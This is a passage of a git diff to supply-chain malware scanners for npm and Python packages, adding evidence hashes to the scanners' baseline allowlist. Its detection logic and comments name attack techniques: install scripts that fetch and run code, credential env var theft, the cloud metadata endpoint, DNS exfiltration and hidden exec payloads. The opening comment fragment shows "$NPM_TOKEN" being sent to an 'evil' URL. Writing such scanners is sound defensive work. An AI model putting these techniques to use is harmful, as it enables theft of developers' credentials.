"$NPM_TOKEN" + # https://evil`) must reopen. The stored evidence is a bounded matched + # snippet plus this digest, never the entire body, so `--write-baseline` + # on a package with a multi-MiB install script does not bloat the baseline + # JSON while the digest still binds the full body. Normalized to match + # _evidence_hash so a reindent alone does not reopen, while whitespace + # inside quoted strings is preserved so a changed quoted payload does. + body_digest = hashlib.sha256( + _canon_preserve_strings(body).encode("utf-8", "replace") + ).hexdigest() if _LIFECYCLE_FETCH_EXEC.search(body): findings.append( Finding( @@ -1136,7 +1494,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"lifecycle-fetch-exec ({hook})", - evidence = body, + evidence = f"{_evidence(body, _LIFECYCLE_FETCH_EXEC)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` fetches an external " "resource and pipes/chains it to an " @@ -1155,7 +1513,10 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-path-in-lifecycle ({hook})", - evidence = body, + evidence = ( + f"{_evidence(body, re.compile(re.escape(path_substr)))} " + f"body-sha256:{body_digest}" + ), detail = ( f"`scripts.{hook}` references {why} " f"({path_substr!r}); install-time access " @@ -1171,7 +1532,7 @@ def scan_package_json(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = f"cred-env-in-lifecycle ({hook})", - evidence = _evidence(body, _JS_ENV_TOKEN), + evidence = f"{_evidence(body, _JS_ENV_TOKEN)} body-sha256:{body_digest}", detail = ( f"`scripts.{hook}` references a credential " "env var (GITHUB_TOKEN / NPM_TOKEN / AWS_* " @@ -1237,6 +1598,60 @@ def _host_in_outbound_context(text: str, host: str) -> bool: return False +def _outbound_host_evidence(text: str, host: str) -> str: + """Evidence capturing the host WITH its outbound context (URL path, fetch + call, host config), so a changed path/headers/body reopens the key instead + of riding the bare host literal. Falls back to the host if none matches.""" + host_re = re.escape(host) + patterns = ( + re.compile(rf"(?:https?:)?//{host_re}(?:[:/\"'?#][^\n]*)?", re.IGNORECASE), + re.compile( + rf"(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}{host_re}[^\n]{{0,200}}" + rf"|{host_re}[^\n]{{0,200}}(?:{_FETCH_VERBS_PAT})[^\n]{{0,200}}", + re.IGNORECASE, + ), + # Host-config form: capture the whole line (path/headers/body), so a + # changed outbound payload on the same hostname line reopens the key. + re.compile(rf"[^\n]*(?:host|hostname)\s*:\s*['\"`]{host_re}['\"`][^\n]*", re.IGNORECASE), + ) + # Record EVERY outbound context for the host, not just the first form that + # matches: a file that already has a baselined URL for the host and later adds + # a separate host-config request (or a second URL) must change the evidence so + # the new payload cannot inherit the old key. Forms are claimed in order, and a + # region already claimed by an earlier form is skipped, so the common + # single-context case keeps its existing snippet. Each form is capped at + # _MAX_EVIDENCE_MATCHES matches so a host repeated thousands of times in a + # minified file cannot make the overlap check quadratic; once chosen is full + # the rest are folded into a digest AS THEY ARRIVE (never accumulated into a + # list, so a host repeated millions of times cannot OOM the scan) and an added + # context still reopens. + lines, sl_blanked, ml_blanked, nl = _index_text(text) + claimed: list[tuple[int, int]] = [] + chosen: list[re.Match] = [] + overflow_count = 0 + overflow_hash = hashlib.sha256() + for pat in patterns: + for m in pat.finditer(text): + if len(chosen) < _MAX_EVIDENCE_MATCHES: + # Overlap check runs only while filling the display list, so + # `claimed` is bounded by the cap and this stays O(cap) per match + # (not quadratic), while every later match is still counted below. + if any(m.start() < e and s < m.end() for s, e in claimed): + continue + claimed.append((m.start(), m.end())) + chosen.append(m) + else: + _fold_overflow_match(overflow_hash, m, lines, sl_blanked, ml_blanked, nl) + overflow_count += 1 + if not chosen: + return host + chosen.sort(key = lambda m: m.start()) + shown = [_format_match(text, lines, sl_blanked, ml_blanked, nl, m, 1000) for m in chosen] + if overflow_count: + shown.append(f"(+{overflow_count} more) sha256:{overflow_hash.hexdigest()}") + return " | ".join(shown) + + def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: findings: list[Finding] = [] @@ -1248,7 +1663,10 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: if rel.lower().endswith(_JS_FAMILY_SUFFIXES): text = _strip_js_noncode(text) - # IOC substrings (literal, case-sensitive). + # IOC substrings (literal, case-sensitive). Evidence is the matched-line + # context (with its bracket-group continuation), not the bare needle: an IOC + # host/hash left in place while the adjacent fetch/exfil body changes must + # reopen the key instead of riding the constant. for needle, (sev, why) in KNOWN_IOC_STRINGS.items(): if needle in text: findings.append( @@ -1257,12 +1675,14 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) - # Cred surfaces, tier 1: hosts with no legit use; bare substring. + # Cred surfaces, tier 1: hosts with no legit use. Bind the outbound context + # (path/headers/body) when present so a changed exfil payload on the same call + # reopens; falls back to the bare host when it is not in an outbound call. for needle, why in CRED_HOST_ALWAYS_BAD: if needle in text: findings.append( @@ -1271,7 +1691,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (always-bad)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}); no legitimate " "frontend use of this surface" @@ -1289,7 +1709,7 @@ def scan_text_blob(pkg: PackageEntry, rel: str, text: str) -> list[Finding]: package = pkg.display, filename = rel, pattern = "cred-surface-host (outbound)", - evidence = needle, + evidence = _outbound_host_evidence(text, needle), detail = ( f"references {why} ({needle!r}) in an outbound " "call / URL / host config; a defensive blocklist " @@ -1393,7 +1813,7 @@ def scan_extracted_tree(pkg: PackageEntry, root: Path) -> list[Finding]: package = pkg.display, filename = rel, pattern = "known-ioc-string", - evidence = needle, + evidence = _ioc_evidence(text, needle), detail = f"{why}: {needle!r}", ) ) @@ -1453,11 +1873,11 @@ def scan_one(pkg: PackageEntry, workspace: Path) -> tuple[list[Finding], str | N _DEFAULT_BASELINE_PATH = str(Path(__file__).resolve().parent / "scan_npm_packages_baseline.json") -# Bumped when the entry-key semantics change. v2 keys on the package-relative -# path; v1 stored only a basename, so a v1 entry could suppress a same-named file -# in a different directory. A pre-v2 baseline with entries is ignored (fail -# closed) rather than mis-applied. -_BASELINE_SCHEMA_VERSION = 2 +# Bumped when the entry-key semantics change. v3 adds an evidence hash so a new +# payload under an already-listed package/path/pattern is not auto-suppressed; v2 +# keyed on the package-relative path; v1 stored only a basename. A pre-v3 baseline +# with entries is ignored (fail closed) rather than mis-applied. +_BASELINE_SCHEMA_VERSION = 3 def _norm_pkg_name(display: str) -> str: @@ -1486,12 +1906,28 @@ def _relpath_in_package(filename: str) -> str: return f[len(_NPM_TARBALL_ROOT) :] if f.startswith(_NPM_TARBALL_ROOT) else f -def _finding_key(f: Finding) -> tuple[str, str, str]: - """Stable allowlist key: normalized package, package-relative path, pattern.""" - return (_norm_pkg_name(f.package), _relpath_in_package(f.filename), f.pattern) +def _evidence_hash(evidence: str) -> str: + """Stable digest of the matched evidence. The npm snippet carries no line + markers, so it is already version-stable; whitespace outside string literals is + collapsed (reindent-stable) while whitespace inside literals is preserved, so a + changed payload body reopens but a formatter reindent does not.""" + canon = _canon_preserve_strings(evidence or "") + return hashlib.sha256(canon.encode("utf-8", "replace")).hexdigest() -def _load_baseline(path: str) -> set[tuple[str, str, str]]: +def _finding_key(f: Finding) -> tuple[str, str, str, str]: + """Allowlist key: normalized package, package-relative path, pattern, and a + hash of the matched evidence -- so changed flagged code under an already-listed + package/path/pattern reopens instead of riding the reviewed entry.""" + return ( + _norm_pkg_name(f.package), + _relpath_in_package(f.filename), + f.pattern, + _evidence_hash(f.evidence or f.detail), + ) + + +def _load_baseline(path: str) -> set[tuple[str, str, str, str]]: """Load an allowlist JSON into a set of match keys. Missing file -> empty.""" try: with open(path, "r", encoding = "utf-8") as fh: @@ -1501,27 +1937,55 @@ def _load_baseline(path: str) -> set[tuple[str, str, str]]: except (OSError, json.JSONDecodeError) as exc: print(f" [WARN] could not read baseline {path}: {exc}", file = sys.stderr) return set() + if not isinstance(data, dict): + print(f" [WARN] baseline {path} is not a JSON object", file = sys.stderr) + return set() entries = data.get("entries", []) - if entries and data.get("version") != _BASELINE_SCHEMA_VERSION: + if not isinstance(entries, list): + print(f" [WARN] baseline {path} entries is not a list", file = sys.stderr) + return set() + # v2 shares v3's package-relative keying, so its entries migrate by recomputing + # the evidence hash from their stored evidence; only pre-v2 (basename) is rejected. + if entries and data.get("version") not in (_BASELINE_SCHEMA_VERSION, 2): print( f" [WARN] baseline schema v{data.get('version')} predates package-relative " f"keys; ignoring {len(entries)} entr(y/ies). Regenerate with --write-baseline.", file = sys.stderr, ) return set() - keys: set[tuple[str, str, str]] = set() + keys: set[tuple[str, str, str, str]] = set() + legacy = 0 for e in entries: + if not isinstance(e, dict): + continue try: - keys.add((_norm_pkg_name(e["package"]), _relpath_in_package(e["file"]), e["pattern"])) + evidence_hash = e.get("evidence_hash") or _evidence_hash(e.get("evidence") or "") + if not e.get("evidence_hash"): + legacy += 1 + keys.add( + ( + _norm_pkg_name(e["package"]), + _relpath_in_package(e["file"]), + e["pattern"], + evidence_hash, + ) + ) except (KeyError, TypeError): continue + if legacy: + print( + f" [WARN] baseline {path}: {legacy} entries lack evidence_hash and may " + f"not suppress until regenerated with --write-baseline (findings reopen " + f"rather than risk hiding changed code under a coarse key)", + file = sys.stderr, + ) return keys def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> int: """Persist at-or-above-threshold findings as an allowlist for triage.""" entries = [] - seen: set[tuple[str, str, str]] = set() + seen: set[tuple[str, str, str, str]] = set() for f in sorted(findings, key = lambda f: (_SEVERITY_RANK[f.severity], f.package)): if _SEVERITY_RANK[f.severity] > threshold_rank: continue @@ -1529,21 +1993,24 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> if key in seen: continue seen.add(key) + evidence = f.evidence or f.detail entries.append( { "package": _norm_pkg_name(f.package), "file": _relpath_in_package(f.filename), "pattern": f.pattern, "severity": f.severity, - "evidence": (f.evidence or f.detail)[:240], + "evidence": evidence, + "evidence_hash": _evidence_hash(evidence), } ) doc = { "_comment": ( "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL " "finding manually judged benign. Matched on (package, " - "package-relative path, pattern); evidence/severity are for review " - "only. Regenerate with --write-baseline AFTER reviewing every line." + "package-relative path, pattern, evidence hash); a new payload under " + "an already-listed package/path/pattern reopens. severity is for " + "review only. Regenerate with --write-baseline AFTER reviewing every line." ), "version": _BASELINE_SCHEMA_VERSION, "entries": entries, @@ -1556,7 +2023,7 @@ def _write_baseline(path: str, findings: list[Finding], threshold_rank: int) -> def _partition_baseline( - findings: list[Finding], baseline: set[tuple[str, str, str]] + findings: list[Finding], baseline: set[tuple[str, str, str, str]] ) -> tuple[list[Finding], list[Finding]]: """Split findings into (active, suppressed) by allowlist membership.""" if not baseline: diff --git a/scripts/scan_npm_packages_baseline.json b/scripts/scan_npm_packages_baseline.json index 61d8e74023..6ed3cedef9 100644 --- a/scripts/scan_npm_packages_baseline.json +++ b/scripts/scan_npm_packages_baseline.json @@ -1,5 +1,5 @@ { - "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern); evidence/severity are for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", - "version": 2, + "_comment": "scan_npm_packages.py allowlist. Each entry is a HIGH/CRITICAL finding manually judged benign. Matched on (package, package-relative path, pattern, evidence hash); a new payload under an already-listed package/path/pattern reopens instead of riding the entry. severity is for review only. Regenerate with --write-baseline AFTER reviewing every line. EMPTY by design: a full scan of studio/frontend/package-lock.json (915 packages) produced 0 findings, so nothing needs suppressing and the CI gate can run enforcing (SCAN_ENFORCE=1) as-is. If a future dependency adds a reviewed-benign HIGH/CRITICAL, add it here rather than weakening a pattern.", + "version": 3, "entries": [] } diff --git a/scripts/scan_packages.py b/scripts/scan_packages.py index 4be9fc5efb..73f6ff2291 100644 --- a/scripts/scan_packages.py +++ b/scripts/scan_packages.py @@ -43,9 +43,10 @@ False positives: examples and `>>>` doctests cannot trip a finding. Residual findings that are genuine library behavior (a HTTP client reading HF_TOKEN, a vendored test fixture) are suppressed via a reviewed baseline allowlist, matched on - (package, basename(file), check). A NEW kind of finding in an already-listed - file is a different check and still fails. This mirrors the Hugging Face Hub - approach (ClamAV/picklescan: low-FP, signature/structural, surface status). + (package, package-relative file, check, evidence hash). A new check, or + changed flagged code under the same check, reopens the finding; version + bumps and line shifts do not. This mirrors the Hugging Face Hub approach + (ClamAV/picklescan: low-FP, signature/structural, surface status). Exit codes: 0 -- no non-baselined CRITICAL or HIGH findings (or --write-baseline) @@ -55,6 +56,8 @@ Exit codes: import argparse import atexit +import bisect +import hashlib import io import json import os @@ -156,6 +159,9 @@ RE_EMBEDDED_KEYS = re.compile( re.DOTALL, ) +# Full PEM block (BEGIN..END), used to pin a multiline key body in evidence. +RE_PEM_BLOCK = re.compile(r"-----BEGIN[^\n]*KEY-----.*?-----END[^\n]*KEY-----", re.DOTALL) + # Cloud metadata / IMDS endpoints RE_CLOUD_METADATA = re.compile( r"169\.254\.169\.254" # AWS/Azure/GCP IMDS @@ -476,22 +482,26 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # Large base64 blob if RE_LARGE_BLOB.search(content): - blob = RE_LARGE_BLOB.search(content).group() + # Digest every blob (not just the first 120 chars, and not just the + # first blob), so a later payload that keeps the prefix or appends a + # second encoded blob reopens. + blob, digest = _blob_digest(content) findings.append( Finding( CRITICAL, package, filename, f".pth has large base64-like blob ({len(blob)} chars)", - blob[:120] + "...", + f"{blob[:120]}... sha256:{digest}", ) ) - # Catch-all: any import line in .pth if nothing else triggered + # Catch-all: any import line in .pth if nothing else triggered. Bind every + # line through a digest so an appended/swapped import reopens the key, but cap + # the displayed text so a large .pth of benign-looking imports cannot dump up + # to the archive member cap into the logs or baseline JSON. if not findings and import_lines: - evidence = "\n".join(import_lines[:5]) - if len(import_lines) > 5: - evidence += f"\n... ({len(import_lines)} import lines total)" + evidence = _cap_line("\n".join(import_lines)) findings.append( Finding( HIGH, @@ -505,13 +515,15 @@ def check_pth_file(content: str, filename: str, package: str) -> list[Finding]: # Unusually large executable .pth (litellm's was 34 KB; legit ones are <100 bytes) size = len(content) if size > 500 and import_lines: + # Pin the content so a different payload of the same size/import count reopens. + digest = hashlib.sha256(content.encode("utf-8", "replace")).hexdigest() findings.append( Finding( HIGH, package, filename, f"Unusually large executable .pth ({size} bytes)", - f"{len(import_lines)} import line(s) in {size}-byte .pth file", + f"{len(import_lines)} import line(s) in {size}-byte .pth file sha256:{digest}", ) ) @@ -629,6 +641,13 @@ def _hidden_payload_findings( removed = "".join(o if o != s else " " for o, s in zip(original, code)) out = [] + # The visible exec/eval line is what makes the hidden string executable, so + # bind it into every finding's evidence: otherwise a reviewed false positive + # that keeps the same hidden text but flips a harmless `eval("1+1")` to + # `exec(__doc__)` (now running the payload) keeps the same key and stays + # suppressed. Taken from `stripped` (real code), where the exec/eval lives. + trigger = _extract_evidence(stripped, RE_EXEC_EVAL) + def _hidden(pat): # Carrier present in a blanked region but NOT in real code. A carrier in # real code is already caught by the normal check, so restricting to @@ -643,7 +662,7 @@ def _hidden_payload_findings( package, filename, "exec/eval with payload hidden in a docstring/string", - f"{label}: {_extract_evidence(removed, pat)}", + f"exec: {trigger}\n{label}: {_extract_evidence(removed, pat)}", ) ) # Fetch-then-run dropper: a network call AND an os/subprocess exec that both @@ -657,7 +676,9 @@ def _hidden_payload_findings( package, filename, "exec/eval with hidden network+exec payload", - f"network+exec: {_extract_evidence(removed, RE_SUBPROCESS)}", + f"exec: {trigger}\n" + f"network+exec: {_extract_evidence(removed, RE_NETWORK)} | " + f"{_extract_evidence(removed, RE_SUBPROCESS)}", ) ) return out @@ -717,14 +738,19 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # openssl encryption + network/key material (encrypted exfiltration) if has_openssl_cli and (has_network or has_keys): + # Bind whichever side(s) co-occur so a changed endpoint or key reopens. + evidence = [f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}"] + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_keys: + evidence.append(f"Key: {_embedded_key_evidence(content)}") findings.append( Finding( CRITICAL, package, filename, "openssl encryption + network/key material (encrypted exfiltration)", - f"OpenSSL: {_extract_evidence(content, RE_OPENSSL_CLI)}\n" - f"Network: {_extract_evidence(content, RE_NETWORK)}", + "\n".join(evidence), ) ) @@ -896,6 +922,10 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: # Obfuscated payload: base64 + exec/eval + large blob if has_base64 and has_exec_eval and has_blob: + # Digest every blob too: a payload may sit on a separate line from the + # decode call, and a second encoded blob may be appended later, so + # binding only the base64/exec lines or the first blob would miss it. + _, blob_digest = _blob_digest(content) findings.append( Finding( HIGH, @@ -903,7 +933,8 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: filename, "base64 decode + exec/eval + large encoded blob", f"Base64: {_extract_evidence(content, RE_BASE64)}\n" - f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}", + f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}\n" + f"Blob: sha256:{blob_digest}", ) ) @@ -928,32 +959,48 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key + network calls (encrypted exfil pattern)", - f"Key: {_extract_evidence(content, RE_EMBEDDED_KEYS)}\n" + f"Key: {_embedded_key_evidence(content)}\n" f"Network: {_extract_evidence(content, RE_NETWORK)}", ) ) # Anti-analysis + any other suspicious pattern if has_anti and (has_network or has_subprocess or has_exec_eval): + # Bind the suspicious side too so a changed payload reopens. + evidence = [f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}"] + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_subprocess: + evidence.append(f"Subprocess: {_extract_evidence(content, RE_SUBPROCESS)}") + if has_exec_eval: + evidence.append(f"Exec: {_extract_evidence(content, RE_EXEC_EVAL)}") findings.append( Finding( HIGH, package, filename, "Anti-analysis/sandbox evasion + suspicious behavior", - f"Anti: {_extract_evidence(content, RE_ANTI_ANALYSIS)}", + "\n".join(evidence), ) ) # DNS exfiltration with dynamic hostnames if has_dns_exfil and (has_base64 or has_network or has_creds): + # Bind the co-occurring side so a changed exfil channel reopens. + evidence = [f"DNS: {_extract_evidence(content, RE_DNS_EXFIL)}"] + if has_base64: + evidence.append(f"Base64: {_extract_evidence(content, RE_BASE64)}") + if has_network: + evidence.append(f"Network: {_extract_evidence(content, RE_NETWORK)}") + if has_creds: + evidence.append(f"Creds: {_extract_evidence(content, RE_CRED_ACCESS)}") findings.append( Finding( HIGH, package, filename, "DNS exfiltration / tunneling patterns", - _extract_evidence(content, RE_DNS_EXFIL), + "\n".join(evidence), ) ) @@ -1064,7 +1111,7 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: package, filename, "Embedded cryptographic key material", - _extract_evidence(content, RE_EMBEDDED_KEYS), + _embedded_key_evidence(content), ) ) @@ -1107,39 +1154,349 @@ def check_py_file(content: str, filename: str, package: str) -> list[Finding]: return findings +_MAX_MULTILINE_LINES = 12 +# How far a single matched call is followed over its bracket continuations. A call +# that genuinely closes is bound all the way to its real close, up to the hard +# limit, so a ``requests.post(`` with many option/header lines before ``data=`` +# binds its whole argument list in the digest and a changed payload on a late +# continuation line reopens (a 40-line soft cap would hash only the first 40 lines +# and let a later ``data=``/headers change ride the baseline key). A bracket that +# never closes within the hard limit is a miscount (a multi-line string the +# single-line blanker cannot mask) or a stray opener, so it is bound only to the +# soft cap and cannot swallow unrelated code. +_MAX_CALL_LINES = 40 # soft cap: how far a NEVER-closing opener is followed +_MAX_CALL_HARD_LINES = 200 # hard cap: how far a closing call is followed to bind it + +# Cap a single rendered line. A short line is shown verbatim; a long (e.g. +# minified one-liner) line is shown as a bounded prefix plus a sha256 of the full +# line, so a packed payload cannot dump unbounded content into the evidence and +# baseline while a change past the cutoff still changes the digest and reopens the +# finding. The npm scanner bounds its snippets the same way. +_MAX_LINE_CHARS = 200 +# Cap on recorded spans in one evidence string; beyond it the remaining spans are +# folded into a digest so a file with thousands of matching lines cannot build a +# multi-megabyte evidence blob, while an added/removed span past the cap still +# changes the key. Comfortably above the largest real baseline entry. +_MAX_EVIDENCE_SPANS = 96 + + +def _cap_line(code: str) -> str: + """Bound a single line's displayed code: return it verbatim when short, else a + ``_MAX_LINE_CHARS`` prefix plus a digest of the whole line so the tail is still + pinned (fail-closed) without recording the entire line.""" + if len(code) <= _MAX_LINE_CHARS: + return code + digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() + return f"{code[:_MAX_LINE_CHARS]} sha256:{digest}" + + +_PY_TRIPLE = ("'''", '"""') + + +def _ends_with_odd_backslash(s: str) -> bool: + """True if ``s`` ends with an odd run of backslashes, i.e. a trailing + backslash that escapes the newline (a string/line continuation) rather than a + literal ``\\\\`` pair.""" + return (len(s) - len(s.rstrip("\\"))) % 2 == 1 + + +# Single-line quoted string literal; blanks complete one-line strings (the legacy +# view) so the single-line and multi-line blanked spans can be unioned below. +_RE_STR_LITERAL = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"") + + +def _blank_code_strings(lines: list[str]) -> list[str]: + """Replace string contents (single- and triple-quoted, escapes honoured) with + spaces across ``lines``, keeping the line count and every bracket OUTSIDE a + string intact. Bracket counting then never miscounts a ``)`` that lives inside + a string -- including a triple-quoted string spanning several lines, which a + per-line regex cannot blank.""" + out: list[str] = [] + in_triple: str | None = None # active ''' or \"\"\" delimiter, or None + in_string: str | None = None # active ' or " continued via a trailing backslash + for line in lines: + buf: list[str] = [] + i, n = 0, len(line) + while i < n: + if in_triple is not None: + end = line.find(in_triple, i) + if end == -1: + buf.append(" " * (n - i)) + i = n + else: + buf.append(" " * (end - i + 3)) + i = end + 3 + in_triple = None + continue + if in_string is not None: + # A single-/double-quoted string continued onto this line by a + # backslash-escaped newline. Resume blanking until its closing quote; + # if this line also ends on an odd trailing backslash the string + # continues again, otherwise it closes (or is unterminated) here. A + # per-line regex blanker cannot see this, so a `)` on the + # continuation line would otherwise be counted as code and close the + # call early -- dropping the URL/body lines that follow. + j, closed = i, False + while j < n: + if line[j] == "\\": + j += 2 + continue + if line[j] == in_string: + j += 1 + closed = True + break + j += 1 + buf.append(" " * (min(j, n) - i)) + if closed: + in_string = None + i = j + else: + i = n + if not _ends_with_odd_backslash(line): + in_string = None # unterminated without continuation; stop + continue + ch = line[i] + if ch in "'\"": + if line[i : i + 3] in _PY_TRIPLE: + delim = line[i : i + 3] + end = line.find(delim, i + 3) + if end == -1: # opens a triple string that runs past this line + buf.append(" " * (n - i)) + in_triple = delim + i = n + else: + buf.append(" " * (end - i + 3)) + i = end + 3 + continue + j = i + 1 # single-line string; skip to its closing quote + closed = False + while j < n: + if line[j] == "\\": + j += 2 + continue + if line[j] == ch: + j += 1 + closed = True + break + j += 1 + buf.append(" " * (min(j, n) - i)) + if closed: + i = j + else: + # Ran off the line without closing: an odd trailing backslash + # escapes the newline and continues the string onto the next + # line, so remember the quote; otherwise it is just unterminated. + i = n + if _ends_with_odd_backslash(line): + in_string = ch + continue + buf.append(ch) + i += 1 + out.append("".join(buf)) + return out + + +_RE_BRACKETS = re.compile(r"[()\[\]{}]") +_OPENERS = frozenset("([{") + + +def _bracket_lr(line: str) -> tuple[int, int]: + """Order-aware bracket reduction of one already-string-blanked line: ``(L, R)`` + where ``L`` is the count of closers with no opener earlier on the line (they + need an opener to the LEFT / a prior line) and ``R`` is the count of openers + with no closer later on the line (they need a closer to the RIGHT / a later + line). A plain net count (opens minus closes) collapses order and so masks a + trailing opener that follows leading closers on the same line, e.g. + ``]; requests.post(`` nets to 0 and hides the ``(`` that opens the flagged + call; tracking the running minimum keeps that opener visible so the call's + argument lines still bind. Only bracket characters are walked (pulled out with + one C-level regex pass) so a long minified line stays cheap.""" + depth = 0 + low = 0 + for ch in _RE_BRACKETS.findall(line): + if ch in _OPENERS: + depth += 1 + else: + depth -= 1 + if depth < low: + low = depth + return -low, depth - low + + +def _scan_line_end(view: list[str], start: int) -> int: + """1-based line where the statement at ``start`` closes its brackets in + ``view`` (one blanked view of the file). A call that closes is followed to its + real close up to ``_MAX_CALL_HARD_LINES`` so its whole argument list binds; a + bracket that never closes within that hard limit (a stray/miscounted opener) is + bound only to the ``_MAX_CALL_LINES`` soft cap so it cannot swallow the file. + Brackets are applied in order via ``_bracket_lr`` (leading closers clamp at 0) + so a closer that precedes the opener on the same line does not cancel it.""" + depth = 0 + hard = min(len(view), start + _MAX_CALL_HARD_LINES - 1) + for j in range(start, hard + 1): + ln = view[j - 1] + left, right = _bracket_lr(ln) + depth = max(0, depth - left) + right + if ln.rstrip().endswith("\\"): + continue # explicit backslash continuation: the call (e.g. its `(` and + # URL/body) is on the next physical line, so do not close here + if depth <= 0: + return j + # Never closed within the hard limit: bind only the soft cap so a stray opener + # cannot bind a giant unrelated span. + return min(len(view), start + _MAX_CALL_LINES - 1) + + +def _logical_line_end(sl_blanked: list[str], ml_blanked: list[str], start: int) -> int: + """1-based line where the statement opened at ``start`` closes, so a multi-line + call binds its argument lines (a changed URL/body on a continuation line + reopens, not just the API line). Returns the LARGER of the spans found in the + single-line-blanked view (legacy: a payload embedded inside a string still + counts, so its brackets bind the call) and the multi-line-blanked view (a + bracket inside a triple-quoted string argument no longer closes the call + early). Taking the union never shrinks the bound span below either view, so + neither blanking strategy can drop a continuation line a malicious change + relies on.""" + return max(_scan_line_end(sl_blanked, start), _scan_line_end(ml_blanked, start)) + + def _extract_evidence( content: str, pattern: re.Pattern, - max_matches: int = 3, + max_matches: int = 0, ) -> str: - """Pull matching lines as evidence snippets. + """Pull matching lines as evidence snippets (``max_matches=0`` means all). - Falls back to a whole-content search when the pattern only matches across - line boundaries (several IOC regexes use ``re.DOTALL``). Without this an - anti-analysis / archive-staging finding could report empty evidence, making - the baseline entry impossible to review. + Records every matching line in full, not a truncated sample, so an extra + match (or extra code on a long line) appended to an already-flagged file + changes the evidence and the baseline key instead of riding the first few. + Leading whitespace is kept so a flagged line moved out of a guarded block + reads as changed. Each single-line match is extended over bracket + continuations so a multi-line call binds its argument lines too. Cross-line + matches the per-line scan cannot see (DOTALL IOC regexes, or a multi-line + construct appended under a check that already had a one-line match) are + recorded afterwards, so an added multiline payload reopens the finding. A + pathological greedy span is bounded to its head line plus a digest of the + rest. """ lines = content.splitlines() - matches = [] + sl_blanked = [_RE_STR_LITERAL.sub("", ln) for ln in lines] + ml_blanked = _blank_code_strings(lines) + out = [] + seen: set[tuple[int, int]] = set() + # Overflow is streamed, not buffered: once `out` holds _MAX_EVIDENCE_SPANS + # rendered spans, every further span is folded straight into a running digest + # instead of being materialized and sliced off at the end. On a minified or + # padded file with hundreds of thousands of matching lines that keeps memory + # and work bounded to the display cap rather than the match count, while the + # digest still covers every overflow span so an over-cap payload change + # reopens. The fold reproduces _canon_evidence(" | ".join(overflow)) exactly + # (strip each span to its non-empty L-less code lines, join with "\n"), so + # the digest is identical to buffering the whole list and canonicalizing once. + overflow_count = 0 + overflow_hash = hashlib.sha256() + overflow_started = False + + def _emit(rendered: str) -> None: + nonlocal overflow_count, overflow_started + if len(out) < _MAX_EVIDENCE_SPANS: + out.append(rendered) + return + overflow_count += 1 + for piece in _RE_EVIDENCE_SPLIT.split(rendered): + piece = _RE_EVIDENCE_PREFIX.sub("", piece, count = 1).rstrip() + if not piece: + continue + if overflow_started: + overflow_hash.update(b"\n") + overflow_hash.update(piece.encode("utf-8", "replace")) + overflow_started = True + + def _render(start: int, end: int) -> str: + span = lines[start - 1 : end] or [""] + if len(span) > _MAX_MULTILINE_LINES: + # Digest the code without the L: markers so a pure line shift of + # the same span stays stable while a code change still reopens. The + # head is truncated for display only; the span digest already binds + # its full content, so no per-line digest is needed here. + code = "\n".join(ln.rstrip() for ln in span) + digest = hashlib.sha256(code.encode("utf-8", "replace")).hexdigest() + head = span[0].rstrip() + if len(head) > _MAX_LINE_CHARS: + head = head[:_MAX_LINE_CHARS] + "..." + return f"L{start}: {head} sha256:{digest}" + return "\n".join(f"L{start + i}: {_cap_line(ln.rstrip())}" for i, ln in enumerate(span)) + for i, line in enumerate(lines, 1): if pattern.search(line): - snippet = line.strip() - if len(snippet) > 160: - snippet = snippet[:160] + "..." - matches.append(f"L{i}: {snippet}") - if len(matches) >= max_matches: - break - if matches: - return " | ".join(matches) - # Multiline (DOTALL) match: report the line where the match begins. - m = pattern.search(content) - if m: - line_no = content.count("\n", 0, m.start()) + 1 - snippet = lines[line_no - 1].strip() if line_no - 1 < len(lines) else "" - if len(snippet) > 160: - snippet = snippet[:160] + "..." - return f"L{line_no}: {snippet}" if snippet else f"L{line_no}: " - return "" + span = (i, _logical_line_end(sl_blanked, ml_blanked, i)) + if span in seen: + continue + # Only track spans while still filling the display list: past the cap + # every span is folded into the overflow digest, so growing `seen` with + # all of them would keep memory proportional to the match count (the + # behavior this cap exists to bound) on a generated file with millions + # of one-line matches. The per-line spans are unique by line number, so + # dropping them from `seen` past the cap cannot cause a missed 